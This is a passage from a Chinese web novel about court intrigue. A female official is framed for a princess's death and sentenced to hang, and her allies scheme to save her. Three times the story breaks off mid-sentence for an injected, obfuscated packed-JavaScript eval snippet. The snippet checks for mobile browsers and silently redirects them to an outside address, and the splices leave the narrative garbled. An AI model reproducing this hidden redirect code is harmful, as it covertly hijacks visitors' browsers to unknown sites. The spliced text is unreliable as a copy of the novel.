眉间深纹如壑，双目炯炯，不怒自威。当朝中书令，文臣之首，权倾朝野，受百姓赞颂爱戴。 从科举舞弊案开始，到程可靖自缢，再到柳德致仕，每一件案子都似乎与他有着若有若无的关系。但是，直到此刻，才是她与他真正意义上的第一次面对面的对峙。 他之前从未正视过自己，今日的眼神却是不同，多了几分冷冽的审视。 任知宜抿了抿干裂的唇瓣，“那夜，我在禧宁宫被人以药迷晕，不知道后面发生何事。” 景郦突然道：“禧宁宫大火，彦月公主葬身火海。” 任知宜枯立于原地。 彦月公主死了。 她原本以为这一切的背后是安王欲借彦月公主陷害于她。 可是，安王为何要杀公主？ 她思绪翻滚如潮，辨不清眼下的重重迷雾。 唯一可以确定的是，她不能在朝堂上说出安王的名字。 一旦说出，胤应两国之战，无可避免。 “你在想什么？”景郦缓缓问道。 任知宜回过神来，“迷晕我的人可能是一名宫中禁卫。” “一派胡言！”禁军统领莫千山怒喝道：“你这是诬陷。” 任知宜面色平然，“莫统领，宫中禁卫不止禁军，还有北衙监门卫。” 莫千山抿唇不语。 众人皆知，北衙监门卫乃太子嫡系，她这么一说，倒让这话多了几分真实。 任知宜俯首，“陛下，此人身高七尺有余，指节粗粝，虎口有茧，恳请陛下派人查实那日宫中禁卫的行踪，尤其是在禧宁宫附近巡查之人。” 皇帝不耐烦地翻了翻眼皮，“任知宜，刑部早已盘查三遍，断无一人可疑。倒是有人见到你手持火折，你作何辩解？” “陛下，若是臣放火，怎会留在原地？” “那是因为你放火之后被人砸晕，昏迷过去。”刑部尚书席白突然开口道：“启禀陛下，任知宜被救时，与公主的贴身侍婢的尸体缠在一起。任知宜手中尚握着刺入侍婢腹部的匕首，而侍婢的手边有个兰花瓷瓶，上面的血来自于你后枕处的伤痕。” 席白继续道：“那你如何解释，你那夜为何出现在禧宁宫？” 雀琴…… 任知宜下意识地望向卫枢，以唇语说出雀琴的名字，却见卫枢目露茫然。 她登时明白，雀琴并无性命之忧，她只是引她入局的重要一环。 席白踱至她面前，“说不出来了？” 他指着她额面，大声喝道：“当日你以迷药迷倒众人，放火烧宫，却不料侍婢竟会中途醒来，与你缠斗起来，你慌乱之下将她刺伤，却也被她用花瓶砸晕过去。” 任知宜扯出一抹笑，“席尚书，我一介弱女，不会武功，如何能给禧宁宫诸人下上迷药，又如何躲得过禁卫的巡察？” 接着，她缓缓地拉高袖摆，露出她手臂上的淤痕，“这痕迹是那晚的贼人抓我时留下的。” 众人打眼望去，半指长的暗红色淤痕，看尺寸大小，不似女子的指印。 席白一怔，面上不太好看。 此时， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127549|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿外内侍来报，“应国使臣伊相求见陛下。” 短短几日不见，伊柘像是变了一个人，面颊凹陷，双目赤红，下巴上胡茬纷乱，完全不见往日的儒雅之姿。 他对着皇帝草草行了个礼。 接着，他看着任知宜，声音咄咄逼人，“那夜你去禧宁宫时，究竟见没见到公主？” “隔着屏风见过。” “她在做什么？” “在与一人说话、饮茶。” “那人是谁？” 任知宜气息微顿，清明的眼眸中闪出几点幽光，“没看清。” 伊柘凑到她面前，眼睛直直地盯着她，“你确定自己听到了公主的声音？” 二人近在咫尺，伊柘薄唇紧抿，喉结颤动，双目闪烁着危险的光芒。 看着他的样子，任知宜脑海中突然闪过一个匪夷所思的念头。 她眨了眨眼睛，平静道：“是公主的声音，她还与我聊了几句山南道的风土人情。” 伊柘眼中的光亮一时明，一时灭，几经变换之后，终于归于黯淡。他像是受了一场极大的打击，后退着踉跄了几步。 “老臣愧对国主啊………” 伊柘用力捶打着胸脯，咚咚作响，悲哭哀泣的样子令在场众人动容。 皇帝沉声道：“伊相，请节哀。” “陛下！”伊柘止了泪，恨声道：“伊柘请陛下立刻将凶手绞杀，以慰公主在天之灵。” 皇帝面露惊讶，“伊相的意思是……” 伊柘的视线扫过大殿诸臣，最终落在任知宜的身上。 他指着任知宜，咬牙道：“凶手不就在这儿嘛！种种证据摆在这里，还有什么可说的！” “伊相！” 卫枢蓦然开口，“此案尚且疑点重重，伊相为何突然发难？” 伊柘阴沉着脸，表情凝重，“太子殿下，你是非要庇护她不可吗？她是东宫属臣，我未继续追究东宫之责，已经是看在两国邦交多年的份上。” “伊相，……” 伊柘打断他的话，厉声道：“几日前，她就曾推公主下水，众目睽睽，皆是人证。如今，又无法解释为何深夜出现在禧宁宫。她随意说出一个所谓的宫中禁卫是凶手，焉知不是任意编造？若你们大胤寻个三年五载也寻不出人来，我公主何以安息？” 席白应声附和。 卫枢冷冷地看了他一眼，“伊相的意思，是等不得了？” “我国主等不得，应国百姓等不得，四万边境军亦等不得。” 卫枢瞳眸紧缩，“你要开战？” 伊柘面无惧色，昂首应道：“我应国虽国小力薄，却也不能任人欺辱。要战则战！” 皇帝拧眉，“我们胤应两国世代交好，少有战乱，伊相莫要说气话。” “陛下！这不是气话。彦月公主在我应国地位超然，若是不能尽快平息民愤，有些事情外臣我亦无从保证。” 卫枢缓缓站起身来，目色阴鸷。 皇帝一声怒喝，“来人，将太子带回东宫。” 皇帝深深地望着伊柘，“伊相，大胤会给应国一个满意的交代。” 沉默片刻后，皇帝沉声道：“传朕令！东宫待诏任知宜残害公主，罪无可恕，五日后辰时，押赴文正门前，处绞刑。” 71. 齐心 大理寺 夜静雪散，风疏云淡。 大理寺卿林居正将门窗关得严严实实，回身低声喝道：“你喊什么？怕别人听不见？” 唐橘抱剑而立，面容隐于灯火暗处，带着腾腾怒意。 “知宜的案子，难道一点转圜的余地都没有？” 林居正沉声道，“除非你查出真正的凶手。” “我去宫中将所有的禁卫盘查一遍。” 林居正斜睨了她一眼，“这个案子以刑部为主，就是因为政事堂考虑知宜和大理寺牵连甚深，让我们避嫌的意思。” “这是见鬼的避嫌！”唐橘啐道：“其他人落井下石也就算了，关键时刻，叶大人为何要帮着刑部倒打一耙，这是何意？” “闭嘴！”林居正斥道：“叶大人自有他的考量。” 虽然他并不明白叶蕴之为何要这么做，但还是下意识地出言维护。 “那刑部查出什么来了？” 林居正无言。 唐橘掌拍桌子，“知宜说有，那就肯定有。刑部摆明是敷衍了事，借机发难。” 林居正道：“你嚷嚷什么！若被其他人听见，告你个亵渎朝廷，你吃不了兜着走！” 之前因为云娘滚钉板的事，唐橘得罪了大理寺寺正余则光，被他明里暗里下了诸多绊子，若不是靠着林居正一直袒护，她早就被撵出去。 “那也不能干等着，坐以待毙吧！” 林居正望着窗外，树影婆娑，不远处传来打更人的梆声，此时已是三更天。 唐橘垂首沉思片刻，幽幽问道：“大人给我句实话，叶大人如此行事，是不是太子授意，要舍弃知宜这个棋子？” “太子殿下在朝堂上为了她触怒陛下，如今连皇后娘娘都不得见，东宫又被禁军围了，你怎地还要生这种怀疑？” 唐橘吁了口气，不知是该庆幸还是该忧愁，“那就是说，连太子都没有办法？” 林居正背对着她，负手而立，“此事牵连实在太大。” 唐橘冷笑道：“说那么冠冕堂皇。不过是因为朝廷上下都觉得，用一个女官的命换边境安宁，是个极划算的买卖。” 林居正不置一词。 唐橘呼了口闷气，提起剑，踢门而出。 “你去哪儿？” “找人想办法去！” 唐橘头也不回，奔入无边夜幕之中。 ———— 子时。 景随立于景府后院的石桥上，望着塘中败落的荷叶，枯枝被骤雨拦腰打断，一头歪进水中。 “你特意在这里等我？”景郦走近。 景随攥了攥拳，哑声道：“父亲。” “呵！难得你会喊我一声父亲。是为了任知宜？”景郦面色平澜，“此事已成定局，我亦无能为力！” “她不过一介弱女，你可否放她一马？” “呵！”景郦冷笑，“她阴诡狡诈，可算不得弱女子。” 景随双眉紧锁，“之前柳德陷害太子一事，你明明知道他私底下的动作，却假作不知，借刀杀人；现在时过境迁，这次要置知宜于死地的人，是不是你？” 池塘浮冰微化，几条小鲤儿在边上缓慢地游动。 景郦像往常一样，投了几口鱼料儿进去，鲤儿们立刻拥上来，鼓动着小嘴儿吃食儿。 “柳德作茧自缚，终成败局。世家的势力越来越大，迟早会威胁到京城的朝堂。权力之道，重在制衡，任何一方的势力膨胀开来，都不利于大胤的长治久安。” 景随神情微动，似有所感，“所以，之前你没有帮世家，可是如今又是什么令你改了主意？” 景郦手下一顿，整个身体越过凭栏，将鱼食洒得更远一些。 一群鲤儿抖了抖身子，焦急地想要游过冰冷的池水去抢夺。 “太子本可以成为一代明君，可惜过刚易折；至于安王，败就败在贤妃与江南世家牵绊太深。” “呵……”，景随嗤笑，“所以，这皇位该由父亲来坐。” “放，肆！”景郦横眉以对，目光森然。 他眯着眼睛望过来，“不管你信不信，我从未有一日想过要做那万人唾骂的乱臣贼子。” 景随像是听到了什么可笑之事，嘴角高高地扬起，“父亲自然不会谋反，因为你要在天下文人面前立清正之姿，你要得到百姓的赞颂，更要青史留名。你只会暗中操纵着朝廷的权柄，排除异己，掣肘皇权。” 景郦阴下脸来。 景随继续道：“我知道你有办法。究竟我要如何做，你才肯救任知宜？” 景郦神色复杂地瞥向他，“你心悦于她？” “与此无关。” “随儿。”景郦轻声唤道：“为父如今只剩下你这一个儿子，未来景家的一切都是你的。你娘在天之灵看着，也不希望你我父子之间势如水火。” 难得的温情，令景随心中一动，“你答应帮我救人了？” 月辉洒落水面，倒映出鱼儿竞相争逐的样子，水波荡漾，现出涟漪。 景郦轻轻拍了拍景随的肩膀，和言温语道：“你若肯放弃追查你大哥的死，不要继续留在翰林院，为父便保她一命，只不过她终生不能再踏足京城。” 景随一怔，继而冷笑三声。 缘该如此。 他原本就不该对某些人心存幻念……景随不发一言，径直拂袖而去。 望着他决绝的背影，景郦双眸黢黑，深若幽海。 景随步出景府，白日里的雪融化，渗入土中，渐渐地散出湿潮之气，寒意逼人。 夜色蒙蒙之中，现出一个颀长的身影。 “景公子。” 来人见礼，姿逸仪俊，正是长公主之子，户部侍郎苏叶。 ———— 苏叶引领着众人进到一家院子，穿过竹径，推开柴门。 掌上灯，室内宛如寻常农舍，灶台连着石炕，上面罩着一张硬邦邦的席子，墙根里堆着几垛木柴。 苏叶冲了一壶热茶，为他们一一斟满杯。 “苏叶，有话快说！”唐橘喝道。 景随缓缓开口，“这里不是苏家的宅子，而是太子的别院。这么晚了，苏侍郎将我们几人聚于此处，是何意？” 屋里坐着六人，除了苏叶，还有唐橘、景随、宝珠、霍思修和韩少初。 苏叶道：“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127550|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道大家都在为了任知宜的案子四处奔波，不知可有收获？咱们都是任知宜的朋友，苏某希望大家能相互合作，总好过各自单打独斗。” 唐橘面露狐疑，“你不是一直讨厌知宜？” 苏叶哂笑，“同为东宫效力，她出事，我也心急如焚啊。” 唐橘翻了个白眼。 韩少初悠悠道：“鸿胪寺卿祁冬阳曾经买通公主身边之人，据说李公公他们当晚去鸿胪寺时，恰逢祁冬阳不在，又白白耗了些时辰。另外，我还从宫里得到消息，看禧宁宫烧毁的程度，床幔四周曾被泼过火油。” 屋里久未有人住，韩少初觉得寒气直往腿上蹿，他拢了拢身上的皮裘，沉声道：“目前能查到的，就只有这些。” “短短一日，韩公子就查到这么多，实属不易。”苏叶点点头，“听公子的意思，是觉得祁冬阳有嫌疑？” “只是怀疑。”韩少初耸耸肩。 苏叶转而看向唐橘，眼神多了几分热烈，“唐捕快一向精于查案，不知有何见教？” 之前一段时日，二人因为任知宜结了点梁子，后来唐橘去户部调档，苏叶故意刁难，没料到这姑娘心性硬得很，没有服软过一句，倒让苏叶有些刮目相看。 唐橘撇了撇唇，“我去过北衙监门卫找了庞大海，他按照知宜所说的形貌探查过，北衙和禁军中，共有三十四人符合特征。” “不会是庞统领的手下干的。”霍思修摇头。 景随缓缓道：“谨慎一点也好。” 唐橘继续道：“三十四人太多，时间来不及，逐一探查已是不可能了，我从中选出最有嫌疑的三个，恰巧都出自禁军。” “凭何判断？”景随问道。 唐橘神色复杂地望了他一眼，不发一词。 霍思修和宝珠不明所以。 韩少初朝手里哈了口热气，轻笑道：“我猜唐橘的意思，是这几人或多或少都与景相有关吧。” “唐姑娘不用顾忌景某，我与他早已形同路人。”景随道。 唐橘又看向苏叶，对方朝她点了点头，她方开口道：“这三人的家族都曾犯过错事，后来是因为景相提携而重回朝堂。走水前一日，禁军换过一次布防，将三人所在的巡逻换到禧宁宫附近。” “禁军如何解释？” “庞大海去问过莫千山，他说只是寻常的例行换防，历来是每月三次。” 唐橘继续道：“我打算先去这三人家中探探。” 苏叶忙道：“天亮之后，我陪你去。” 见唐橘迟疑，又道：“以我的身份，容易入府。” 唐橘默然，算是应下。 苏叶道：“我奉殿下之命，请诸位前来，就是转告各位，不要焦急，他会想办法解决此事。” 宝珠一直没说话，此时突然抬起头来，圆圆的眼睛里满是泪水，“太子有办法，能让我进牢里见见我家小姐吗？” “暂时不能。” 宝珠嘤嘤地哭起来，“老爷好不容易从牢里出来了，小姐又要受这牢狱之苦。” 韩少初面色沉凝，“我昨日送了些打点银子过去，竟然无人敢收。冷室寒衾，不知道她扛不扛得住。” 72. 刑前 “吱吱……” 任知宜在睡梦中，感觉有什么东西在叫。 睁开眼，一只手掌大小的灰皮耗子正在啃啮她脚腕上的伤口，耗子的嘴角鲜红，尖细的牙齿上折射出森白的光。 “啊！” 任知宜浑身战栗，被这东西恶心地哇一声吐了出来。 耗子一动不动，眼珠滚动着，滴溜溜地望着她。 任知宜颤抖着拔下金簪，猛地掷向它。 一击未中。 耗子受惊，“吱”地一声，跑开了。 任知宜瑟缩着曲腿，环抱住双臂，靠在石墙上。 牢狱漆黑，幽火冥冥，形若鬼蜮。 被拶过的双手无法合掌，她已无法再用金簪划下刻痕，也不能推测出眼下的时辰，离行刑之日究竟还有三日，还是四日？ 她舔了舔唇，痛觉和鲜血的味道让她清醒一点。 两日来滴水未进，唇瓣干裂，火辣辣地疼。 刑部的人不来提审，也不送食物和水，看样子像是等不及三日后的绞刑，便要在狱中将她折磨至死。 她错估了伊柘。 似乎从确认公主身死的那一刹那，伊柘就不再纠结于真相是什么。 接下来，应国可能会向大胤提出其他要求，然后双方你来我往，像市井商贩一般推拉讨还之后，确定出“公主之死”的最终价码。 那个匪夷所思的念头在她脑中一闪而过。伊柘绝没有他表现得那般尊敬彦月公主，反而将她当作一枚棋子，周旋于太子和安王之间。 杀她，便是伊柘在试探皇帝和太子的底线。 刑部死牢阴潮湿冷，长年不见天日，有如冰窖。任知宜用牙咬开手臂上的布绷，里面的药液已干，布绷与新长的血肉粘连在一起，轻轻一撕，疼得钻心彻骨。 当初睢州离别时，父亲曾经说过，京城是虎狼之地，只要在这里一日，就不可能过上安宁的生活。 “爹，女儿尽力了。” 任知宜侧躺着，喃喃自语，一滴清泪从眼睫斜着落下来。 死牢里黑暗幽闭的环境动摇了她的意志，她分辨不清眼前是白天还是黑夜，身子蜷缩成一团，思绪像是被人锢住，沉郁而颓败。 绞刑究竟是什么滋味？ 松开踏板，人倏地坠落下去；颈骨折断的刹那，还会不会感到窒息的痛苦…… 一阵冷风从墙隙里蹿出来，钻进骨缝里，刺得遍体生疼。不远处的幽火落在眼眸中，结成一团团明灭颤动的光晕。 这一次，她或许真地逃不出这个困局。 上个月，她去钱庄清点了她存在那里的钱财，共计两万三千多两。除了留给她爹，余下的用来置办田产、铺子，宝珠日后是要嫁给霍思修做官夫人的，这些东西就算作她的嫁妆。 宝篆香铺还是继续交由云娘打理，唐橘帮忙照看，盈利方面她们三人平分。 至于凌云楼，本就是意外之财，人倒楼散，守不住的产业，不要也罢。 只可惜，她与郭嘉的约定怕是不成了。看不到郓人被赶出灵州，实在遗憾。 还有跟着韩家出海的心愿，更是不可能了…… 想到这里，她顿感悲凉。 听说绞死之人面目狰狞，舌头耷拉在外面，吓怖至极。 希望你们不要来看我行刑，只让卫枢一人来就好。 滴漏的声音传来，噹，噹…… 她缓缓睁目，好像铜壶就在眼前，提醒她时间的缓缓消逝。 卫枢，见过我的凄惨死状，我相信你会对世家更狠。 日后，希望你能多多照拂灵州。 “卫枢，别怨我对你生了利用之心，不过是临死之愿，望君成全。” ———— 东宫 两具内侍的尸体被抬了进来，泡得肿胀，周身发白，衣服上是滴哩哒啦的水。 “殿下，人找到了。” 卫枢瞥了一眼，两个内侍身量不高，不过十五六岁的年纪。 “就是这两个人？” 雀琴稍加辨认，立刻回禀道：“就是他们两个。那日将奴婢打晕，又将任待诏骗到禧宁宫的就是他们。” 那夜禧宁宫出事之后，这两个内侍便失了踪，直至今日，才在宫中的一口废井里发现二人的尸体，看样子已是死了两三日。 又是一桩死无对证。 卫枢指捏眉心，“拖下去吧。幕后之人布下这个局，就没打算留下活口。” 雀琴蓦地跪在地上，眼泪唰唰直落，“殿下，都怪奴婢……若不是为了救奴婢，待诏也不会被陷害。” “起来说话。”卫枢轻声道：“就算不是你，也会是别人。此人选择的时机刚刚好，显然是早就做了谋算。” 他问孙公公，“这两个内侍是何时进的东宫？” 孙公公慌忙跪下，“自打上次东宫出了背主之人，老奴便将东宫的宫人全部查了一遍，凡是来历不明的一概撵走。这两个内侍今年才净身入宫，刚刚通过内府的考核，便被老奴挑到东宫来。” 卫枢静静地看了他片刻，“你也起来吧，去将柜子里那方匣子给孤拿来。” 待取来东西，孙公公觑着卫枢的神色，小心翼翼道：“殿下，此物毕竟是件凶器，不宜把玩。” 匣子里放着一把匕首。 短匕乃精钢所制，尘封多年，依旧削铁如泥。 卫枢摸着薄薄的锋刃，回想起当年。幼时，他就是靠着这把匕首刺入那个叛军小兵的胸膛，才得以逃生；后来也是靠着这把匕首，将闯入义父家中抢粮的贼人吓退。 “殿下，不如老奴将古琴取来，品茶抚琴，岂不更好？”孙公公道。 卫枢不在意地把弄着匕首，淡淡道：“茶艺、琴道皆为风雅之事，以孤现在的心境，勉强为之，不过是焚琴煮鹤。” 孙公公不敢再作声，静立一旁。 片刻之后，卫枢将匕首递给孙公公，“你将这匕首送到长公主府上，亲手交给苏叶；同时告诉他——“故人西归，月上中天，银花相接，溧水南岸”。” 孙公公接过。 卫枢悠悠地望着他，神情冷凝，“这十六个字，一个字也不要错。” 孙公公心头一凛，忙点头应下。 ———— 天色渐明，朱雀街上家家启板挂幌，又是新的一日开始。 街尾的千金药堂门前早早排起长队，因为掌柜的医术高明，远近闻名，所以每日慕名求医之人络绎不绝。 冬日天寒，瑟瑟北风吹得人手脚冰麻，众人早就等得不耐烦了，偏偏此时还有人不顾众怒，往人群里推挤。 “嗳，你谁啊？”众人喝道。 来人也不理会，推搡着冲到队伍最前面，猛拍药堂的大门，“开门！快开门！” 这人看起来六十岁左右，面带烧疤，衣着寒碜。 众人猜测他可能家中有人急病，本不欲与他一般见识，奈何这老儿拍不开门，又跑到人群中急赤白脸地高声骂人。 一壮汉看不过眼，撸起袖子，要教训他。 “啊啊啊……” 老儿瞥见壮汉一脸凶相，突然惊吓地抱头蹲地，浑身抖如筛糠，“别杀我！别杀我！” 壮汉看他疯疯癫癫，遂收了拳头，“你胡说什么呢？” 老头一时喃喃自语，一时瑟缩着身子，将食指竖在嘴边。 “嘘……” 他压低声音，小心翼翼道：“我偷偷地告诉你，隔壁王婶儿把他家狗娃儿藏起来，因为狗娃儿…… 他顿了一下，“他起糠疹了。” 壮汉摸不着头脑，下意识道：“起糠疹又咋了？” 老头惊恐地睁大眼睛，“糠疹会死人的，过不了多久，耳朵会流血，皮肤会烂成一块块，生出密密麻麻的蛆虫。” “这老儿是不是疯了？” “别管他，一大清早说些瘆人的疯话。” “真晦气！” 众人将他围成一个圈，七嘴八舌地议论起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127551|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老头神情愈加狂躁，双目赤红，不停地朝半空挥舞手臂，“让我出去！我要离开这里，这里有瘟疫，会死人！会死人！” “瘟疫”二字让众人倏地变了脸色。 “什么瘟疫？” “你说清楚，京城哪里有疫病？” “不是京城，是云门镇！”老头目光呆滞，接着继续疯言疯语起来。 “尸体累得好高，好高，像一座小山一样。狗娃儿染病了要杀，可是我家丫丫没病啊，为什么要杀她？”老头用拳头使劲着脑袋，好似怎么想也想不明白。 众人竖耳听着，渐渐品出些不对劲来。 这老儿说的，莫不是当年的云门镇瘟疫？ 据传闻，云门镇被叛军火烧全屠，除了后来昭告天下的幸存者，无一人生还。 此时，千金药堂的门打开，掌柜出来，连忙作揖解释。 这人是药堂近来收治的病人，患了失魂之症。不发病时安静少语，可是一旦发起病来，就会狂性大作。昨日药童一个不留神没看住，他就从后院跑了出来。 人群中有人发问，“他是不是当年云门镇屠案的幸存之人？” 掌柜神色微穆，也不答话，打揖作礼地领着老头回去。 当年嘉以之乱，盛氏叛军的败亡就始于云门镇被屠。当年有四个幸存之人死里逃生，将叛军屠杀全镇的事公之于众，引得天下震动，戮力讨盛。 若正经论起来，这几人也算是义士。 叛乱平息后，按理说这几人该受朝廷封赏，可是却隐姓埋名，不见了踪影。 这老儿虽疯言疯语，却有问必答。众人问他后面发生的事，他就说自己一直被人追杀，为活命躲在偏僻的乡下，改名换姓。 大家闻言，俱皆不解。 这么多年过去，难道还有盛齐月的残余势力，肆机报仇？ ———— 入夜，唐橘六人重聚。 灯烛影下，众人皆面色凝重，相顾无言。 苏叶冲了壶热茶，清了清嗓子，“奔波一天了，大家先喝口热茶，暖暖身子。” 唐橘心焦气躁，推开杯盏，朝着韩少初问道：“祁冬阳那里，可有进展？” 韩少初长长地叹了口气，“鸿胪寺上下都说他虽然脾气暴躁，为人不善，但是行事谨慎，一贯明哲保身，绝非以身犯险之人。” 言外之意，祁冬阳不是那种会为了些末利益，便能谋害异国公主之人。 唐橘揉了揉拧紧的眉心，“我去那三个禁卫家中，发现了一些线索，他们都曾经是南衙监门卫中郎将严风手下的精锐。其中有一个，无父无母，无妻无子，手背靠近虎口处有刀伤。” “刀伤？”霍思修奇道。 见霍思修不解，唐橘站在他身后，做了一个捂住他口鼻的假动作。 霍思修恍然大悟，“知宜当时反抗，极有可能在他手背上留下抓痕。他遮盖不掉，便以刀伤掩盖。” 唐橘恨恨道：“他说是前日在演武场训练时，被同僚砍伤的。怎么可能会有这么巧！袭击知宜的，定是此人无疑。” “既然查到是他，案子不就有眉目了？” “我将他抓回大理寺，任凭打得皮开肉绽，却连一个字也不吐露。昨夜趁着狱卒不注意，撞墙自尽了。” 闻言，所有人静默下来。 这个案子背后错综复杂，牵涉甚广，单凭他们几个的力量，根本破不了案；更何况，距离行刑之期，只剩三日。 此时，景随突然望向苏叶，缓缓开口，“太子要你召集我们，究竟是为了什么？” 苏叶环顾众人，正色问道：“为救任知宜，诸位可愿舍命？” 宝珠脆生生道：“自然。” 唐橘接着道：“自然。” 韩少初和霍思修相视一眼，各自点了点头。 景随似是想到什么，蹙眉道：“你要保知宜万无一失……” 苏叶笑了，“能否万无一失，就看在座诸位了。” 73. 筹谋 圣令下，擢薛畅就任户部尚书，赐政事堂行走。 当夜，薛府摆下宴席，群臣道贺，高朋满座。 席间觥筹交错，推杯换盏，好不热闹。 几个六部小官走到景随面前，拱手作揖，客套寒暄道：“景大人也来了。” “同朝为官，薛尚书大喜，焉能不来道贺？”景随亦含笑举盏，“况且，这也是个能与诸位同侪相识共饮的机会。” 此言一出，众人倍感意外。 早就听闻景随为人清高孤傲，甚少与人交往，今日一见，却是难得的性子随和，言笑晏晏。 其中一人试探着问道：“今日景相可会来？” 景随淡淡一笑，“家父忙于处理州府公文，已嘱咐我备好贺礼。” “哦！”众人点头，纷纷赞和，“景相辛劳。” 景随又笑道：“家父常说，六部庶务繁杂，千头万绪，诸位都是朝廷肱骨，让景随务必向诸位多多学习。一早就想请诸位过府，又怕冒昧，失了礼数。” 众人闻言，又惊又喜。 “景兄过谦。”其中一位受宠若惊，连忙道：“景兄是今科状元，才名远播，这么说真是羞煞我等了。” “在下年资尚轻，这几日编纂前史，发现自己对六部庶务一窍不通，常常难以下笔。”景随面露苦恼。 众人恍然。 刚才说话的人笑道：“原来如此。景兄若再有不明之处，尽可向我等问询，在下是户部丁楷。” 接着指着身旁其他几人，介绍道：“这位是吏部葛元政，刑部余滨，工部贾力，还有礼部的李润吉。” 景随一一见礼。 众人谈天说地，畅古聊今，酒过三巡，已是相交莫逆。 “话说，你们明日去不去博文斋？”丁楷随意问道。 “博文斋办赏鉴大会，连续三日，邀请天下读书人赏鉴名家墨宝。怎么，丁兄动心了？”贾力调侃道。 丁楷呵呵笑道：“前几年，为兄没做成博文斋的有缘人，心里一直遗憾得紧，想着兴许今年就有这缘分呢。不知各位兄台可有意同去？” 博文斋的赏鉴大会，一年一次，不仅邀文士共赏名家佳作，还会从到场之人中随机选择一位有缘人，赠送一幅墨宝。 葛元政、贾力和李润吉都表示有兴趣，要一同前往。 余滨拱手抱歉，“可惜啊，在下明日夜里轮值，不能陪诸位尽兴。” “无妨。无妨。” 丁楷偏头问道：“景兄呢？” 景随温和笑笑，“在下不善赏鉴，就不凑这个热闹了。” 众人见他并无兴致，立刻换了个话题，继续谈笑风生。 直至深夜。 ———— 天际初明，伴随着雄浑的钟声，兆京城门大开。 城门守将站在墙上向下望，人头攒动，乌压压，像潮水一般涌进来。 这些人风尘仆仆，大多头戴儒巾，身穿直裰，一副读书人的模样，无一例外都是为博文斋的赏鉴大会而来。 博文斋的赏鉴大会声名远播，不但京城才子趋之若鹜，许多外地的读书人也会专程赶来。 只不过，今年的境况有些不同。 守将心里有些打鼓，今年入城的人，怎地如此之多？ 他绕着城墙外转了几圈，一偏头，瞧见一个小守卫哈欠连天的样子，顿时心头火起，一脚踹了过去。 “你搁城门口睡觉呢！给老子滚！” 小守卫打了个激灵，忙挺身站稳。 守将对着城门一众守卫，喊道：“这几日进出城门的人格外多，都把眼睛放亮点儿，查得仔细点儿。出了事儿，要你们的命。” 小守卫觑了觑四周，低声问道：“头儿，那个传言是不是真的？” 这几日，无论是官署衙堂，酒肆书坊，还是市井茶楼，街头巷口，都在热烈地谈论赏鉴大会。概因有传言说，今年赏鉴大会，博文斋将展出前朝赵大家的名帖真迹《道德经》。 此帖已失传二百年，莫说真迹，就算是当世的临摹之作，亦被读书人推崇；若是真迹，便不只是简单的墨宝，更是一件价值连城的珍宝。 守将拧着眉，“和你没关系，你瞎打听什么？” 小守卫附耳过来，声音压得更低，“刚才我偷听见两个入城的人说话。” “说什么？” “他们说，其实博文斋背后已经易主，接手之人是江南的韩家。” 韩家富可敌国，又因为刚从郑家手中夺得盐业经营，一跃成为世家之首。 世家的根基一直在江南，若说韩家欲借赏鉴大会结交京城名士，必得拿出韩家真正的藏品。由此推断，传言便添了几分可信。 这也就难怪，今年进城的人这么多。 守将思忖半刻，厉声道：“所有人给我听清楚，今夜宵禁，子时一到，城门关闭。一个人都不准给我放进来！” 小守卫问道：“若子时之后，有人想要出城呢？” “自然是不能。” 守将心里嘀咕，之前因高期之案，整个南衙监门卫都受到牵连。这两日应国使臣团在京，上面特地交代过，子时宵禁，必关城门。违令者斩。 他拧了拧眉，理所当然道：“除非有陛下手谕，否则不管是谁，都不能出城。” “得令！” ———— 午时刚过，千金药堂迎来一位不速之客。 对方说明来意，药堂掌柜不敢得罪，连忙将他领至后院。 天光和暖，老汉半躺在摇椅上小憩。 听到脚步声，常年维持的警觉让他立刻睁开眼睛，抓起身旁的斧头抵在胸前，“谁？” 二人四目相对。 老汉瞪大眼睛，望着来人。 对方也在细细打量着他，老汉左眼下的烧疤在光下清晰可见，像一条狰狞的蜈蚣盘爬在眼周。 确认是他找的人后，来人问道：“这些年，你们去哪儿了？” 老汉放下斧头，嘴唇翕张，“钟，钟大人。” 来人正是太常寺卿，钟黎。 钟黎神色沉沉，“当年，朝廷本欲嘉奖你们四个，你们却不告而别，这么多年都没个音信。” 老汉双手互搓，嗫嚅道：“钟大人，有人追杀我们，我们也是没办法。” “谁？”钟黎目色微阴。 “盛贼的真面目公之于众后，我们四个原本也是打算跟着大军一路向西。可是有一夜，我因腹痛起夜，恰好于昏暗月色下见到两道身影，其中一人说，会趁遇敌时将我们四人除掉。我心中害怕，也看不清楚那人的样子，便叫着他们连夜逃了。” “后来呢？” 老汉继续道：“那时候正逢战乱，我们一 